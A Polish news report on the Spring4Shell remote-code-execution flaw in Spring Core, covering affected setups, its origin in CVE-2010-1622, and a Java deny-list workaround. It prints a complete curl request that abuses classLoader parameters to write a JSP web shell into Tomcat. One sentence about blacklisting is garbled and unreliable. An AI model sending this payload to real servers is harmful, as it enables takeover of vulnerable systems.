W module Spring Core, dostarczanym w ramach Spring Framework, zidentyfikowano krytyczną lukę 0-day, która pozwala nieautoryzowanemu atakującemu zdalnie wykonać swój kod na serwerze. Na razie nie jest jasne, jak katastrofalne mogą być skutki odkrytej usterki i czy ataki będą tak masowe, jak w przypadku luki w Log4j 2. Usterce nadano kodową nazwę Spring4Shell, ale identyfikator CVE nie został jeszcze przypisany. W Spring Framework problem pozostaje nierozwiązany, a w sieci dostępnych jest już kilka działających prototypów exploitów (1, 2, 3, 4). Sytuację pogarsza to, że wiele korporacyjnych aplikacji Java opartych na Spring Framework działa z uprawnieniami roota, a luka umożliwia całkowite skompromitowanie systemu.
Według niektórych szacunków moduł Spring Core jest używany w 74% aplikacji Java. Nieco zmniejsza to ryzyko luki, ponieważ atakowi podlegają tylko aplikacje, które korzystają z adnotacji «@RequestMapping» przy podłączaniu obsługi żądań i wiązaniu parametrów formularzy webowych w formacie «name=value» (POJO, Plain Old Java Object), zamiast stosowania JSON/XML.
Które dokładnie aplikacje i frameworki Java są narażone na problem, nie jest jeszcze jasne. Luka blokuje możliwość dodawania do czarnej listy pól «class», «module» i «classLoader» lub korzystanie z jawnej białej listy dozwolonych pól. Wykorzystanie luki jest możliwe tylko przy użyciu Java/JDK 9 lub nowszej wersji. Problem wynika z możliwości obejścia ochrony przed luką CVE-2010-1622, naprawioną w Spring Framework już w 2010 roku, związaną z wykonaniem obsługi classLoader przy analizie parametrów żądania.
Działanie exploita polega na wysyłaniu zapytania z parametrami „class.module.classLoader.resources.context.parent.pipeline.first.*”, których przetwarzanie prowadzi do utworzenia pliku jsp w głównym środowisku Apache Tomcat oraz zapisania w tym pliku określonego kodu atakującego. Utworzony plik staje się dostępny dla bezpośrednich zapytań i może być wykorzystywany jako web shell. Aby zaatakować podatną aplikację w środowisku Apache Tomcat, wystarczy wysłać zapytanie z określonymi parametrami za pomocą narzędzia curl. curl -v -d „class.module.classLoader.resources.context.parent.pipeline.first.pattern=kod_do_wstawienia_do_pliku &class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp &class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT &class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar &class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=» http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
Opisywanego problemu w Spring Core nie należy mylić z nowo odkrytymi lukami CVE-2022-22963 i CVE-2022-22950. Pierwszy problem dotyczy pakietu Spring Cloud i został usunięty w wydaniach 3.1.7 i 3.2.3. Drugi problem występuje w Spring Expression i został naprawiony w Spring Framework 5.3.17. To zupełnie inne podatności. W kwestii nowej luki deweloperzy Spring Framework jeszcze nie wydali żadnych oświadczeń ani nie opublikowali poprawki.
Jako tymczasowe rozwiązanie w celu ochrony zaleca się wykorzystanie w kodzie czarnej listy niedozwolonych parametrów zapytań: import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{„class.”, „Class.”, „.class.”, „.Class.”}; dataBinder.setDisallowedFields(denylist); } }
Źródło: opennet.ru
